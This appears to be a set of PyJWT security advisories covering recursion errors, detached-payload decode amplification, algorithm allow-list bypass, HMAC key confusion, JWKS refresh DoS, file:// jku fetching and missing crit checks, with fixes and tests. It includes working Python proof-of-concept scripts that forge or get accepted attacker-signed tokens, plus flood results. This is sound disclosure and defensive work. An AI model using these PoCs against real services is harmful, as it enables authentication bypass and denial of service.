We confirmed that an attacker-controlled recursively nested JWT payload can cause a raw Python RecursionError to escape PyJWT at PyJWT 2.14.0 and the tested current source. The confirmed in-scope paths are direct decoding with verifysignature=False and PyJWKClient.getsigningkeyfromjwt, where payload parsing occurs before key lookup.

The demonstrated impact is limited to an uncaught exception for the affected call, which may surface as an application HTTP 500 when the application does not catch it. Testing did not demonstrate a worker or process crash, persistent resource exhaustion, resource amplification, authentication bypass, or confidentiality or integrity impact.

The separate JWKS-response subclaim is out of scope under the policy boundary that requires the application to trust its configured JWKS source and transport. The confirmed payload finding is not a duplicate of the earlier protected-header parser finding: it occurs in a distinct payload parsing path that remained affected after the earlier header-only fix.

Version and remediation status

Historical testing reproduced the confirmed payload behavior in all 20 official supported PyJWT 2.x releases from 2.0.0a1 through 2.14.0, inclusive. Unsupported PyJWT 1.7.1 also reproduces the behavior, but it is excluded from the advisory range under the supported-2.x policy. No supported unaffected release and no patched release exists. The exact evidence is /Users/jpadilla/.codex/security-advisories/pyjwt/GHSA-42vr-xj54-vc7v-historical-range-20260922.md (SHA-256 c48f1ac35641e9382d53e6a879a71ad9a8fb4432bbe871f2b8330f8d166a2d81) and /Users/jpadilla/.codex/security-advisories/pyjwt/historical-range-42vr-20260922/historical-range-results.json (SHA-256 324997f231561bf6da39b8f9d1e272f69bfde8871a7863f5cb7b70e22e91f076). The evidence-backed supported affected range is >= 2.0.0a1, <= 2.14.0.

Historical range verification is complete. A local fix commit exists and has passed independent review and the complete local CI suite, but it has not been merged into master or released. Consequently, patchedversions remains empty and this advisory remains in triage. The remaining next step is a maintainer decision on remediation and merge. After a fix lands in master and is released, patchedversions and advisory lifecycle can be updated in a separate approved batch.

---

Maintainer remediation update (2026-09-23)

The confirmed payload-parser finding has been fixed on master. Commit 5fde08a6cf906aa7698de2d6391d88b73006b17b converts a recursive payload parse failure to the expected DecodeError; commit 9bc06658f875b9b40091539140bbbdc4639161c3 makes the regression tests deterministic across supported Python versions. This update supersedes the 2026-09-22 remediation-status statement that the fix had not landed.

The original pre-verification payload reproducer and the PyJWKClient.getsigningkeyfromjwt path were covered by regression tests. The exact landed tree passed the full 39-environment local tox matrix and GitHub CI for commit 9bc06658f875b9b40091539140bbbdc4639161c3 passed all 25 jobs, including Ubuntu Python 3.14 and 3.15. The demonstrated impact remains an uncaught request-level exception in affected releases; there is still no evidence of process termination, persistent resource exhaustion, authentication bypass, or confidentiality or integrity impact.

The supported affected range remains >= 2.0.0a1, <= 2.14.0. The latest released version is 2.14.0, which predates these commits; no released patched version exists yet, so patchedversions remains unset. CVSS v3.1 5.3 (Medium) and CWE-248 remain unchanged. The advisory may now move from triage to private draft. The next lifecycle step is a new supported 2.x release containing the fix, followed by separately approved patched-version and publication updates after release verification.

---

Maintainer release update (2026-09-23)

PyJWT 2.15.0 is the first released version containing the payload-parser fix. Its GitHub release tag points to commit 1d41a6478e1562e68ff667fcd703356acf085f68, which includes fix commit 5fde08a6cf906aa7698de2d6391d88b73006b17b and deterministic regression-test commit 9bc06658f875b9b40091539140bbbdc4639161c3. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.

The published PyPI wheel (pyjwt-2.15.0-py3-none-any.whl, SHA-256 7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8) was checked directly: the deeply nested unsigned payload now raises DecodeError, while an ordinary unsigned payload still decodes. The supported affected range remains >= 2.0.0a1, <= 2.14.0; the patched version is 2.15.0. Earlier statements in this advisory that no released patched version exists are superseded by this update.

The confirmed impact remains an uncaught request-level exception in affected versions, not a demonstrated process crash or authentication bypass. The separate JWKS-response subclaim remains outside this advisory's confirmed PyJWT-owned scope.

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT getsigningkeyfromjwt is affected because unknown kid misses force refreshes without a negative cache or minimum refresh interval. This occurs when unauthenticated tokens repeatedly use the same unknown kid or varying kid values absent from the cached JWKS. As a result, each cache miss causes PyJWKClient to refresh the JWKS. Consequently, attacker traffic can amplify outbound requests to the configured JWKS endpoint. This issue is fixed in version 2.14.0.

[!NOTE] Practical impact depends on whether request body-size limits are enforced upstream (proxy/web-server/framework). Deployments with typical body-size caps (≤2 MB) bound the amplifier significantly; deployments accepting larger token inputs are more exposed.

When verifying detached JWS tokens using the unencoded-payload option ("b64": false, RFC 7797), PyJWT performs Base64URL decoding of the compact-serialization payload segment before enforcing the detached-payload rules.

For b64=false, PyJWT later discards that decoded payload and replaces it with the caller-provided detachedpayload. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces CPU work + memory allocations even if the signature is invalid.

This creates an unauthenticated DoS vector against any endpoint that verifies detached JWS using PyJWT.

---

Affected Component(s)

jwt/apijws.py

PyJWS.decode() / PyJWS.decodecomplete() load() (parsing and Base64URL decoding)

---

Root Cause (exact logic flaw)

What happens in the code

In jwt/apijws.py, decodecomplete() does the following (order matters):

Calls load(jwt) first, which decodes the token segments Only after that, checks header.get("b64") and if False, it replaces payload = detachedpayload and rebuilds the signing input

This behavior is visible in decodecomplete():

load(jwt) happens before the b64=false handling then payload = detachedpayload and signinginput = ... detachedpayload happens afterward ([GitHub][1])

Inside load(), PyJWT unconditionally performs:

payload = base64urldecode(payloadsegment) This is the expensive step the attacker can amplify ([GitHub][1])

Why this becomes a vulnerability

For b64=false detached JWS, the payload segment in compact form is effectively not needed for verification in PyJWT’s own logic (since the library uses detachedpayload as the real payload). Yet PyJWT still decodes it first, meaning:

cost is paid even when signature is invalid the decoded bytes are discarded attacker controls the size of this cost via token length

---

Impact (evidence-driven)

Security impact

Unauthenticated remote DoS: decoding work happens before signature rejection → attacker does not need signing key. CPU amplification: Base64URL decode time scales linearly with payload segment size. Memory amplification: decoded output allocates large byte buffers (tens of MB per request). Operational impact: request queueing / worker starvation under modest concurrency bursts.

Standards context (RFC 7797)

RFC 7797 explicitly notes this option is used when payload is large and/or detached, and discusses interoperability requirements around marking it critical (“crit” with “b64”). ([IETF Datatracker][2]) (PyJWT supports crit validation, but the issue here is decode order / unbounded decode of an unused segment.)

---

Affected Versions

Confirmed affected: PyJWT 2.12.1 (tested from your local editable install and repo). Likely affected: all versions that include detached payload support for JWS decoding, which was introduced in 2.4.0 (“Add detached payload support for JWS encoding and decoding”). ([pyjwt.readthedocs.io][3])

(For GHSA, this phrasing is strong: “confirmed” + “likely since feature introduction”.)

---

Threat Model

Typical real deployment

A service verifies signed HTTP requests or webhooks using detached JWS:

token is provided in JSON body / query / header actual payload is the HTTP request body passed as detachedpayload

Attacker

remote unauthenticated client can send requests to verify endpoint does not need a valid signature (invalid signature still triggers the expensive decode path)

Attack chain

1. Attacker crafts a JWS compact token with header containing "b64": false and crit:["b64"]. 2. Attacker inflates the payload segment (middle segment) to millions of Base64URL characters. 3. Server calls PyJWS.decode(...detachedpayload=...). 4. PyJWT decodes the inflated segment (CPU + memory). 5. Signature is rejected afterward (401) — but resources already consumed. 6. Repeated requests or bursts cause queueing/worker starvation → DoS.

---

Proof of Concept - file names + results

PoC placement

serverlocalhost.py

clientlocalhost.py

floodlocalhost.py

---

PoC # 1 - Localhost verification server

File: serverlocalhost.py

Purpose: real HTTP endpoint (POST /verify) that calls PyJWT detached verification and prints: ok / timems / peakbytes / tokenlen / error.

Results (server console output)

text [+] Listening on http://127.0.0.1:8000 [+] POST /verify JSON: {"token": "..."}

[127.0.0.1] ok=True timems=0.102 peakbytes=2624 tokenlen=117 err=None [127.0.0.1] ok=False timems=2.012 peakbytes=2000983 tokenlen=500078 err=InvalidSignatureError [127.0.0.1] ok=True timems=1.591 peakbytes=2001061 tokenlen=500117 err=None

[127.0.0.1] ok=True timems=0.065 peakbytes=2304 tokenlen=117 err=None [127.0.0.1] ok=False timems=7.534 peakbytes=8000983 tokenlen=2000078 err=InvalidSignatureError [127.0.0.1] ok=True timems=6.347 peakbytes=8001061 tokenlen=2000117 err=None

[127.0.0.1] ok=True timems=0.066 peakbytes=2304 tokenlen=117 err=None [127.0.0.1] ok=False timems=23.034 peakbytes=32000983 tokenlen=8000078 err=InvalidSignatureError [127.0.0.1] ok=True timems=22.097 peakbytes=32001061 tokenlen=8000117 err=None

Key takeaways from these results

At 8,000,000 chars, a single invalid-signature request still causes:

~23 ms server work ~32 MB peak allocations returns 401 (invalid signature) → attacker does not need key.

---

PoC # 2 - Localhost network client

File: clientlocalhost.py Purpose: generates baseline + (invalid signature) + (valid signature) tokens and sends them over HTTP to localhost server.

Results (client output)

payload-chars = 500,000

text === BASELINE (valid b64=false token) === HTTP: 200 clientwallms: 6.3499... servertimems: 0.10197... serverpeakbytes: 2624

=== ATTACK (INVALID signature - attacker needs no key) === HTTP: 401 clientwallms: 4.1010... servertimems: 2.01217... serverpeakbytes: 2000983 error: InvalidSignatureError

=== ATTACK (VALID signature - accepted path still wastes) === HTTP: 200 clientwallms: 3.6586... servertimems: 1.59092... serverpeakbytes: 2001061

payload-chars = 2,000,000

text === BASELINE === HTTP: 200 servertimems: 0.06527... serverpeakbytes: 2304

=== ATTACK (INVALID signature) === HTTP: 401 servertimems: 7.53430... serverpeakbytes: 8000983

=== ATTACK (VALID signature) === HTTP: 200 servertimems: 6.34682... serverpeakbytes: 8001061

payload-chars = 8,000,000

text === BASELINE === HTTP: 200 servertimems: 0.06573... serverpeakbytes: 2304

=== ATTACK (INVALID signature) === HTTP: 401 servertimems: 23.03403... serverpeakbytes: 32000983

=== ATTACK (VALID signature) === HTTP: 200 servertimems: 22.09702... serverpeakbytes: 32001061

Why this is strong evidence

The server clearly does heavy work before rejecting invalid signatures. The “valid signature” case shows even accepted requests waste resources due to unused payload segment.

---

PoC # 3 - Localhost flood / burst concurrency

File: floodlocalhost.py Purpose: sends N concurrent invalid-signature requests over HTTP to demonstrate queueing/worker starvation.

Results (your run: 20 concurrent @ 8,000,000 chars)

text totalwallms: 1374.5405770000616

(16, 401, 1156.4504789998864, 21.350951999920653, 32000983, 'InvalidSignatureError') (19, 401, 1151.2852699997893, 21.208721999755653, 32000983, 'InvalidSignatureError') (18, 401, 1102.7211239997996, 21.685218999664357, 32000983, 'InvalidSignatureError') (13, 401, 1102.0718189997751, 21.26572200040755, 32000983, 'InvalidSignatureError') (11, 401, 1095.9345460000804, 20.586017000368884, 32000983, 'InvalidSignatureError') (17, 401, 1085.2552810001725, 22.893039000337012, 32000983, 'InvalidSignatureError') (10, 401, 1078.3629560000918, 22.737160999895423, 32000983, 'InvalidSignatureError') (7, 401, 1048.2011740000416, 22.476282000297942, 32000983, 'InvalidSignatureError') (8, 401, 378.93017700025666, 21.377330999712285, 32000983, 'InvalidSignatureError') (1, 401, 281.45106800002395, 21.34223099983501, 32000983, 'InvalidSignatureError')

Interpretation

Each request still costs ~20–23 ms server processing and ~32 MB peak allocations. But client-observed latency rises up to ~1.15 seconds because requests queue behind each other → clear worker starvation/HoL blocking. All were rejected with 401 InvalidSignatureError → still unauthenticated.

---

Fix

Goal

Prevent unbounded resource consumption from an attacker-controlled payload segment that is unused in b64=false detached flow.

Minimal change strategy

In load() (or by refactoring parse order), do not Base64-decode payloadsegment until after you know whether b64=false applies.

Two safe options:

1. Reject non-empty payload segment when b64=false

Parse header first If b64 is false and payloadsegment is non-empty → raise DecodeError before decoding Then verification uses detachedpayload only

2. Skip decoding payload segment entirely when b64=false

Keep payload segment as raw bytes or empty Use detached payload for signing input

This aligns with the idea that detached payload is the trusted payload input for verification; the compact payload segment should not become a resource amplification vector.

(Implementation context: the current decode order and unconditional base64urldecode(payloadsegment) are visible in the file and line region around load() and decodecomplete() ([GitHub][1]).)

---

Workarounds

Enforce strict max token length at the HTTP boundary (proxy/gateway). Apply rate limiting on verification endpoints. If detached JWS (b64=false) is not needed in your app, reject tokens where header includes "b64": false.

[!NOTE] Scored assuming a deployment where algorithm policy functions as an authentication/authorization boundary. In deployments where the algorithm policy enforces crypto agility only, the practical confidentiality impact is lower and the issue is closer to an integrity-of-policy-enforcement bug.

PyJWT 2.9.0 through 2.12.1 allows a verifier-side algorithm allow-list bypass when jwt.decode() or jwt.decodecomplete() are called with a PyJWK key. The token header alg is checked against the caller-supplied algorithms allow-list, but signature verification is performed with the algorithm bound to the PyJWK object instead of the header algorithm. An attacker who controls a registered JWK/JWKS private key can sign with a disallowed algorithm, advertise an allowed algorithm in the JWT header, and still be accepted. The issue affects the documented PyJWKClient.getsigningkeyfromjwt(...) flow.

Summary

PyJWT's PyJWK verification path allows a verifier-side algorithm allow-list bypass.

In affected versions, when a JWT is decoded with a PyJWK object, PyJWT verifies that the header alg string is present in the caller's algorithms=[...] list, but it does not actually use the header algorithm to verify the signature. Instead, it verifies with the algorithm already bound to the PyJWK object.

This lets an attacker who controls a registered JWK/JWKS private key sign with a disallowed algorithm and have the token accepted as long as the JWT header advertises an allowed algorithm. This affects the documented PyJWKClient usage flow and does not require any non-default flags or unsafe configuration.

Details

In jwt/apijws.py in 2.12.1, verifysignature() treats PyJWK keys differently from normal PEM/public-key inputs:

python if algorithms is None and isinstance(key, PyJWK): algorithms = [key.algorithmname]

...

if not alg or (algorithms is not None and alg not in algorithms): raise InvalidAlgorithmError("The specified alg value is not allowed")

if isinstance(key, PyJWK): algobj = key.Algorithm preparedkey = key.key else: algobj = self.getalgorithmbyname(alg) preparedkey = algobj.preparekey(key)

This logic means:

1. The JWT header alg is checked only as a string against the caller-supplied allow-list. 2. If the key is a PyJWK, the actual verifier is not selected from the header algorithm. 3. Instead, PyJWT always verifies with key.Algorithm, which is fixed when the PyJWK object is created.

PyJWK binds its algorithm in jwt/apijwk.py from the JWK's alg field or from key-type defaults:

python if not algorithm and isinstance(self.jwkdata, dict): algorithm = self.jwkdata.get("alg", None)

...

self.algorithmname = algorithm self.Algorithm = getdefaultalgorithms()[algorithm] self.key = self.Algorithm.fromjwk(self.jwkdata)

So once a PyJWK is constructed, the verifier uses the PyJWK's bound algorithm, not the JWT header algorithm.

The issue is reachable through the documented JWKS flow. In docs/usage.rst, the project documents:

python signingkey = jwksclient.getsigningkeyfromjwt(token) jwt.decode( token, signingkey, audience="https://expenses-api", options={"verifyexp": False}, algorithms=["RS256"], )

PyJWKClient.getsigningkeyfromjwt() returns a PyJWK, so this documented path is affected.

This is not a "no-key forgery" issue. The attacker still needs control of an accepted JWK/JWKS private key. However, that is realistic in deployments such as:

- self-service OAuth client assertions - multi-tenant key registration - federation / BYO-JWKS trust models - any system where external parties sign JWTs with their own registered keys

In those cases, the attacker can bypass verifier-side algorithm policy. For example, if the server intends to only accept PS256, an attacker controlling an accepted RSA JWK can sign with RS256, set alg=PS256 in the JWT header, and still be accepted through the PyJWK path.

The same forged token is rejected through the normal PEM/public-key verification path, which shows the bug is specific to PyJWK verification rather than expected JWT behavior.

This behavior was introduced by commit ab8176abe21e550dbc1c9a6bb7e78ad80853bfb1 (Decode with PyJWK (#886)), which is present in tagged releases 2.9.0, 2.10.0, 2.10.1, 2.11.0, 2.12.0, and 2.12.1.

PoC

Tested locally against PyJWT 2.12.1 on Python 3.12.10 with cryptography 45.0.6.

Install dependencies:

bash python -m pip install pyjwt==2.12.1 cryptography

Run the following script:

python import json import jwt from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives.serialization import Encoding, PublicFormat from jwt.apijwk import PyJWK from jwt.algorithms import RSAAlgorithm from jwt.utils import base64urlencode

Generate an RSA keypair controlled by the attacker. priv = rsa.generateprivatekey(publicexponent=65537, keysize=2048) pub = priv.publickey() pubpem = pub.publicbytes(Encoding.PEM, PublicFormat.SubjectPublicKeyInfo)

Build a PyJWK from the public key. With an RSA JWK and no explicit alg, PyJWK binds to RS256 by default. jwk = PyJWK.fromjson(RSAAlgorithm.tojwk(pub))

Create a token whose protected header claims RS512. header = {"typ": "JWT", "alg": "RS512"} payload = {"sub": "alice"}

headerb64 = base64urlencode( json.dumps(header, separators=(",", ":"), sortkeys=True).encode() ) payloadb64 = base64urlencode( json.dumps(payload, separators=(",", ":")).encode() ) signinginput = b".".join([headerb64, payloadb64])

Sign the RS512-labelled token with RS256 instead. sig = RSAAlgorithm(RSAAlgorithm.SHA256).sign(signinginput, priv) token = b".".join([headerb64, payloadb64, base64urlencode(sig)]).decode()

print("token:", token) print("PyJWK path:") print(jwt.decode(token, jwk, algorithms=["RS512"]))

print("PEM path:") try: print(jwt.decode(token, pubpem, algorithms=["RS512"])) except Exception as e: print(f"{type(e).name}: {e}")

Observed output:

text PyJWK path: {'sub': 'alice'} PEM path: InvalidSignatureError: Signature verification failed

The token is accepted when the verification key is a PyJWK, even though:

- the caller restricted allowed algorithms to ["RS512"] - the signature was actually generated with RS256

The same token is rejected when verified through the normal PEM/public-key path.

Impact

This is an algorithm allow-list bypass affecting jwt.decode() and jwt.decodecomplete() when the verification key is a PyJWK, including keys returned by PyJWKClient.

The impact depends on the deployment model:

- If attackers cannot control any accepted JWK/JWKS private key, practical exploitability is limited. - If attackers can legitimately control a registered key, this is exploitable.

Impacted deployments include:

- JWT client assertion flows where each client uses its own key - multitenant systems where tenants register JWK/JWKS material - federation-style trust models - any application that relies on algorithms=[...] to enforce a crypto policy against externally controlled signing keys

What an attacker can do:

- bypass a server-side requirement such as "only PS256" or "only RS512" - continue using a deprecated or blocked algorithm after the server thought it had disabled it - authenticate successfully as their own client / tenant / federation principal even though they do not satisfy the configured algorithm policy

What this issue does not do by itself:

- it does not let an attacker forge tokens without access to a valid signing key or signing oracle - it does not automatically enable cross-tenant impersonation unless the surrounding application trust model adds another flaw

[!NOTE] Exploitation requires a verifier configured with both symmetric and asymmetric algorithms in algorithms=[…] and a raw-JSON JWK as the key= argument, both contrary to documented usage, hence the High attack-complexity rating.

Summary When the verifier is decoding JSON Web Tokens, while supporting both asymmetric and HMAC algorithms, the library does not validate use of JSON Web Keys in HMAC algorithm, allowing attacker to use the issuer public key as the secret key for HMAC algorithm.

Details In JWT algorithm confusion attack, the verifier is mistakenly use of public key to be used as the shared secret in symmetric algorithms. In pyjwt case, when the verifier is supporting both HMAC with other asymmetric algorithm and mistakenly using the public key of the issuer to verify the token as demonstrated in the following example: jws.decode(token, key=rsajwkjson, algorithms=["HS256","RS256"]))

An attacker who specifies in the token header to use HMAC, will cause the verifier to accept the JWK as the secret key in HMAC algorithm. The attacker will be able to forge JWT signed with the public key of the issuer to impersonate any user.

If we look on current protections implemented in the library, at class HMACAlgorithm:

def preparekey(self, key: str | bytes) -> bytes: keybytes = forcebytes(key)

if ispemformat(keybytes) or issshkey(keybytes): raise InvalidKeyError( "The specified key is an asymmetric key or x509 certificate and" " should not be used as an HMAC secret." )

return keybytes We can observe that there is a protection against this type of attacks but only when the verifier is using PEM format or SSH key to verify the token. JSON Web Keys, on the other hand will pass the validation.

In The following example: jws.decode(token, key=rsajwkjson, algorithms=["HS256","RS256"])) There is indeed a wrong implementation of the verifier, but a stronger protection in the library side will prevent and protect against those type of misconfiugrations.

The bypass happens only if the verifier: (a) allows HS and an asymmetric algorithm in the same call and (b) passes a public-key value as key.

PoC Please run the code and observe the payload printed in clear text({"sub":"alice","admin":true}')

from jwt.apijws import PyJWS import json, base64, hmac, hashlib

def b64u(b): return base64.urlsafeb64encode(b).rstrip(b"=")

Public RSA JWK (public by design) rsajwkjson = json.dumps({"kty":"RSA","n":"AQAB","e":"AQAB"})

Attacker-crafted token: flip to HS256 and choose claims header = b64u(b'{"alg":"HS256","typ":"JWT"}') payload = b64u(b'{"sub":"alice","admin":true}') signing = header + b"." + payload

Sign with HMAC using the PUBLIC JWK JSON TEXT as the “secret” sig = hmac.new(rsajwkjson.encode(), signing, hashlib.sha256).digest() token = (signing + b"." + b64u(sig)).decode()

Vulnerable verifier: mixed families + JWK JSON string as key jws = PyJWS() print(jws.decode(token, key=rsajwkjson, algorithms=["HS256","RS256"])) -> b'{"sub":"alice","admin":true}'

Impact Unauthenticated token forgery → full identity/role impersonation at the resource server (authorization bypass).

[!NOTE] The vulnerability surfaces only when a JWKS fetch fails; an attacker can attempt to provoke that with sustained unknown-kid traffic, but the outcome depends on upstream JWKS-endpoint behavior (rate limiting, transient errors) which is beyond the attacker's control. Impact is reduced auth availability until the next successful fetch, not complete denial of service.

Summary PyJWKClient.getsigningkey() forces a fresh HTTP request to the JWKS endpoint for every JWT with an unknown kid value, with no rate limiting. Since kid comes from the unverified token header, an attacker can trigger unlimited outbound requests.

Additionally, fetchdata() finally block clears the JWKS cache on network error.

Root Cause jwt/jwksclient.py:172-198 - getsigningkey(kid) calls getsigningkeys(refresh=True) for unknown kids, bypassing TTL cache with no cooldown. jwt/jwksclient.py:120-122 - finally block writes None to cache on error, clearing valid data.

Impact - DoS against JWKS endpoint (unlimited requests per invalid token) - DoS against application (network I/O latency) - Cascading failure (rate limiting clears cache, breaking legitimate auth)

Suggested Fix 1. Add refresh cooldown (refuse refresh more than once per TTL period) 2. Move cache write from finally to else block

Affected Versions All versions with PyJWKClient (2.4.0 through 2.12.1)

[!NOTE] The library does not directly return non-HTTP(S) URI contents to the attacker; the chained "plant a JWKS to forge tokens" scenario described in the original report requires additional application-layer flaws (attacker write access to a filesystem path, untrusted jku derivation) that this fix does not address. Severity is scored for the scheme-acceptance bug in isolation.

Summary

PyJWKClient passes its uri argument directly to urllib.request.urlopen() which uses Python stdlib's default OpenerDirector registering HTTPHandler, HTTPSHandler, FTPHandler, FileHandler, and DataHandler. There is currently no documented option to restrict which schemes PyJWKClient will fetch.

If an application's jku URL ingestion path accepts attacker-influenced URLs (e.g., from JWT header, configuration file, OAuth flow parameter), the attacker can:

1. Cause PyJWKClient to read arbitrary local files via file:// (SSRF on local filesystem) — the file's contents are passed to json.load. 2. Cause PyJWKClient to attempt FTP / data-URI fetches (broader SSRF surface). 3. Forge tokens that PyJWT verifies as valid — if the attacker can write to any path the JKU URL points at AND influences the URL, they can plant a JWK Set containing their own public key, sign tokens with the matching private key, and jwt.decode() accepts.

Affected versions

Tested and reproducible on PyJWT 2.11.0 and 2.12.1. Likely all versions back to PyJWKClient introduction.

Reproducer (full attack chain — verified empirically)

python import jwt as pyjwt from jwt import PyJWKClient from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.primitives import serialization import json, base64, time

Attacker generates keypair (no relation to real IdP) key = rsa.generateprivatekey(publicexponent=65537, keysize=2048) pubn = key.publickey().publicnumbers().n

def b64u(n): bl = (n.bitlength() + 7) // 8 return base64.urlsafeb64encode(n.tobytes(bl, 'big')).rstrip(b'=').decode()

Attacker writes JWK Set containing their public key to /tmp jwks = {"keys":[{"kty":"RSA","kid":"attacker","use":"sig","alg":"RS256", "n":b64u(pubn),"e":"AQAB"}]} with open("/tmp/attacker.json","w") as f: json.dump(jwks, f)

Attacker mints token signed with their private key, jku=file:// privpem = key.privatebytes(serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, serialization.NoEncryption()) now = int(time.time()) token = pyjwt.encode( {"sub":"attacker","aud":"target-app","iat":now,"exp":now+3600}, privpem, algorithm="RS256", headers={"kid":"attacker","jku":"file:///tmp/attacker.json","typ":"JWT"})

Vulnerable application pattern: caller derives jku from token header and passes to PyJWKClient without scheme validation header = pyjwt.getunverifiedheader(token) client = PyJWKClient(header["jku"]) # <-- accepts file:// silently keyobj = client.getsigningkeyfromjwt(token) decoded = pyjwt.decode(token, keyobj.key, algorithms=["RS256"], audience="target-app") print("Token verified:", decoded) Output: Token verified: {'sub': 'attacker', 'aud': 'target-app', ...}

Cross-library evidence — PyJWT is the outlier

The same composition pattern is structurally safe in 4 other mainstream JWT libraries:

| Library | Behavior on jku=file://... | Mechanism | |---|---|---| | PyJWT 2.12.1 (Python) | Reads file from disk, parses, uses for signature verification | urllib default OpenerDirector includes FileHandler | | panva/jose 6.2.3 (Node.js) | Refuses pre-fetch | WHATWG fetch() rejects non-http(s) at fetch-spec layer | | golang-jwt + MicahParks/keyfunc v3.4.0 (Go) | Refuses pre-fetch | http.DefaultTransport only registers http/https | | Microsoft.IdentityModel.Tokens 8.18.0 (.NET) | Refuses pre-fetch | HttpDocumentRetriever defaults RequireHttps=true | | Spring Security NimbusJwtDecoder 6.3.4 (Java) | Refuses pre-fetch | URI parser delegation refuses non-http(s) at request build |

PyJWT is the only library of these 5 where the default behavior allows file:// to reach the fetch layer.

Recommended fix

Add allowedschemes: tuple[str, ...] = ("https", "http") kwarg to PyJWKClient.init. Pre-validate URL scheme before invoking urllib.request.urlopen. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted.

Diff sketch against jwt/jwksclient.py

python def init( self, uri: str, cachekeys: bool = False, maxcachedkeys: int = 16, cachejwkset: bool = True, lifespan: float = 300, headers: dict[str, Any] | None = None, timeout: float = 30, sslcontext: SSLContext | None = None, allowedschemes: tuple[str, ...] = ("https", "http"), # NEW ): """... :param allowedschemes: URL schemes the JWKS endpoint is permitted to use. Default ("https", "http"). Pass ("https",) for HTTPS-only operation. URLs with disallowed schemes raise PyJWKClientError before any fetch is attempted. """ # ... existing init code ... self.allowedschemes = allowedschemes self.validateurischeme()

def validateurischeme(self) -> None: """Reject the configured URI early if its scheme isn't allowed.""" from urllib.parse import urlparse parsed = urlparse(self.uri) scheme = parsed.scheme.lower() if not scheme: raise PyJWKClientError( f"PyJWKClient URI '{self.uri}' has no scheme; expected one of " f"{self.allowedschemes!r}") if scheme not in self.allowedschemes: raise PyJWKClientError( f"PyJWKClient URI scheme '{scheme}' is not in allowedschemes " f"{self.allowedschemes!r}; refusing to fetch from this URL")

Tests to add

python def testpyjwkclientrejectsfilescheme(): with pytest.raises(PyJWKClientError, match="not in allowedschemes"): PyJWKClient("file:///etc/passwd")

def testpyjwkclientrejectsftpscheme(): with pytest.raises(PyJWKClientError): PyJWKClient("ftp://example.org/keys.json")

def testpyjwkclientrejectsdatascheme(): with pytest.raises(PyJWKClientError): PyJWKClient('data:application/json,{"keys":[]}')

def testpyjwkclientcallercanlocktohttpsonly(): with pytest.raises(PyJWKClientError): PyJWKClient("http://internal.test/jwks.json", allowedschemes=("https",))

Compatibility

- Default allowedschemes=("https", "http") preserves backwards compatibility for the overwhelming majority of callers using HTTP/HTTPS JWKS endpoints - Breaking only for callers using non-HTTP schemes intentionally (vanishingly rare) - No changes to urllib fetch logic itself — the fix is a pre-validation gate

Class precedent

This is the same class as CVE-2024-21643 (Apache Jena JKU-trust: attacker-supplied JKU URL fetched without scheme validation). NVD-rated CVSS 7.5.

Prior art (verified 2026-05-06)

Confirmed via live recon (NVD direct, OSV.dev, PyJWT GitHub Security Advisories, issue/PR keyword search, CHANGELOG inspection):

- No existing CVE on PyJWT specifically for PyJWKClient URL scheme handling - No existing GitHub issue or PR addressing scheme allowlisting - No silent fix in CHANGELOG through 2.12.1 - 5 prior PyJWT advisories (CVE-2017-11424, CVE-2022-29217, CVE-2024-53861, CVE-2025-45768, CVE-2026-32597) — none cover this class

Credit

Reported by Keijo Tuominen — independent security research at CMHT.tech (https://cmht.tech).

Reproduction artifacts available on request: full multi-language probe pack (5 wrappers × 25 fixtures × 125 cells) demonstrating cross-library divergence at the URL-scheme boundary.

Summary

PyJWT does not validate the crit (Critical) Header Parameter defined in RFC 7515 §4.1.11. When a JWS token contains a crit array listing extensions that PyJWT does not understand, the library accepts the token instead of rejecting it. This violates the MUST requirement in the RFC.

This is the same class of vulnerability as CVE-2025-59420 (Authlib), which received CVSS 7.5 (HIGH).

---

RFC Requirement

RFC 7515 §4.1.11:

The "crit" (Critical) Header Parameter indicates that extensions to this specification and/or [JWA] are being used that MUST be understood and processed. [...] If any of the listed extension Header Parameters are not understood and supported by the recipient, then the JWS is invalid.

---

Proof of Concept

python import jwt # PyJWT 2.8.0 import hmac, hashlib, base64, json

Construct token with unknown critical extension header = {"alg": "HS256", "crit": ["x-custom-policy"], "x-custom-policy": "require-mfa"} payload = {"sub": "attacker", "role": "admin"}

def b64url(data): return base64.urlsafeb64encode(data).rstrip(b"=").decode()

h = b64url(json.dumps(header, separators=(",", ":")).encode()) p = b64url(json.dumps(payload, separators=(",", ":")).encode()) sig = b64url(hmac.new(b"secret", f"{h}.{p}".encode(), hashlib.sha256).digest()) token = f"{h}.{p}.{sig}"

Should REJECT — x-custom-policy is not understood by PyJWT try: result = jwt.decode(token, "secret", algorithms=["HS256"]) print(f"ACCEPTED: {result}") # Output: ACCEPTED: {'sub': 'attacker', 'role': 'admin'} except Exception as e: print(f"REJECTED: {e}")

Expected: jwt.exceptions.InvalidTokenError: Unsupported critical extension: x-custom-policy Actual: Token accepted, payload returned.

Comparison with RFC-compliant library

python jwcrypto — correctly rejects from jwcrypto import jwt as jwjwt, jwk key = jwk.JWK(kty="oct", k=b64url(b"secret")) jwjwt.JWT(jwt=token, key=key, algs=["HS256"]) raises: InvalidJWSObject('Unknown critical header: "x-custom-policy"')

---

Impact

- Split-brain verification in mixed-library deployments (e.g., API gateway using jwcrypto rejects, backend using PyJWT accepts) - Security policy bypass when crit carries enforcement semantics (MFA, token binding, scope restrictions) - Token binding bypass — RFC 7800 cnf (Proof-of-Possession) can be silently ignored - See CVE-2025-59420 for full impact analysis

---

Suggested Fix

In jwt/apijwt.py, add validation in validateheaders() or decode():

python SUPPORTEDCRIT = {"b64"} # Add extensions PyJWT actually supports

def validatecrit(self, headers: dict) -> None: crit = headers.get("crit") if crit is None: return if not isinstance(crit, list) or len(crit) == 0: raise InvalidTokenError("crit must be a non-empty array") for ext in crit: if ext not in self.SUPPORTEDCRIT: raise InvalidTokenError(f"Unsupported critical extension: {ext}") if ext not in headers: raise InvalidTokenError(f"Critical extension {ext} not in header")

---

CWE

- CWE-345: Insufficient Verification of Data Authenticity - CWE-863: Incorrect Authorization

References

